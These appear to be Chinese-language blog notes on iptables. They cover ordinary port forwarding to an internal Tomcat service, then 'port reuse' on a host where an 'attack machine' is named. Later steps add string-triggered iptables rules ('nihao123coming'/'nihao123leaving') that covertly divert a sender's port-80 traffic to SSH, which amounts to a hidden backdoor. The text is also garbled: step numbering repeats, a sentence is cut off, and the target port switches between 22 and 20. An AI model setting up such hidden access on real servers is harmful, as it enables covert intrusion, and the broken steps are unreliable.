端口轉發參考: 使用 iptables 進行端口轉發 - 51nb - 博客園 (cnblogs.com)
壹臺虛擬機:192.168.2.2(私網ip),8080端口tomcat服務
壹臺虛擬機:192.168.3.6(公網ip),192.168.2.10(私網ip),80端口apache服務
1、虛擬機(192.168.3.6)開啟轉發功能
vim /etc/sysctl.conf
輸入 net.ipv4.ip_forward=1
使用命令 sysctl -p 使配置生效
2、添加iptables規則實現端口轉發
iptables -t nat -I PREROUTING -i ens36 -d 192.168.3.6 -p tcp --dport 9090 -j DNAT --to-destination 192.168.2.2:8080
3、轉發成功
1、設置iptables規則
iptables -t nat -I PREROUTING -i ens36 -s 192.168.3.3 -d 192.168.3.6 -p tcp --dport 80 -j REDIRECT --to-port 22
2、攻擊機192.168.3.3使用XShell對192.168.3.6的80端口進行SSH連接
1、虛擬機(192.168.3.6)開啟轉發功能
vim /etc/sysctl.conf
輸入 net.ipv4.ip_forward=1
使用命令 sysctl -p 使配置生效
2、設置iptables規則,當且僅當192.168.3.3訪問時,192.168.3.6的80端口的ing"的TCP包,則將來源IP添加到MyChains的列表中
iptables -A INPUT -p tcp -m string --string "nihao123coming" --algo bm -m recent --set --name MyChains --rsource -j ACCEPT
4、設置關閉開關,如果接收到含有"nihao123leaving"的TCP包,則將來源IP從MyChains的列表中刪除
iptables -A INPUT -p tcp -m string --string "nihao123leaving" --algo bm -m recent --name MyChains --remove -j ACCEPT
5、當發現SYN包的來源IP處於MyChains的列表中,將跳轉到MyChains鏈進行處理,有效時間為3600秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name MyChains --rsource -j MyChains
4、開啟復用,開啟後發送開啟命令的機器到目標80端口的流量將被轉發到目標20端口
驗證:
5、關閉復用
驗證: